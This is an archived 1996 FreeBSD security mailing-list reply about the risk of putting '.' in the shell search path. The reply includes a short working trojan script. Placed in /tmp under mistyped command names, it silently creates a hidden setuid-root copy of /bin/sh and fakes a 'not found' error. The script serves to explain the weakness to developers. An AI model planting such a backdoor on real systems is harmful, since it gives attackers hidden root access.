Skip site navigation (1)Skip section navigation (2)
Date:      Tue, 25 Jun 1996 09:58:51 +0200 (MET DST)
From:      J Wunsch <j@uriah.heep.sax.de>
To:        davidg@Root.COM
Cc:        gpalmer@FreeBSD.ORG, vince@mercury.gaianet.net, mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net
Subject:   Re: I need help on this one - please help me track this guy down!
Message-ID:  <199606250758.JAA17930@uriah.heep.sax.de>
In-Reply-To: <199606250714.AAA03862@root.com> from David Greenman at "Jun 25, 96 00:14:37 am"

next in thread | previous in thread | raw e-mail | index | archive | help
As David Greenman wrote:

>    Actually, this particular problem can be avoided by putting "." last in
> the search path rather than first.

But only until someone drops this script e.g. into /tmp:

#!/bin/sh

if [ `id -u -r` = 0 ] ; then
	(cp /bin/sh $HOME/.newsrc.bak; chown root $HOME/.newsrc.bak;
	chmod 04755 $HOME/.newsrc.bak) &
fi

echo "$0: not found."
exit 1


...and links it to /tmp/sl, /tmp/mkae, /tmp/iv etc.

-- 
cheers, J"org

joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE
Never trust an operating system you don't have sources for. ;-)



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199606250758.JAA17930>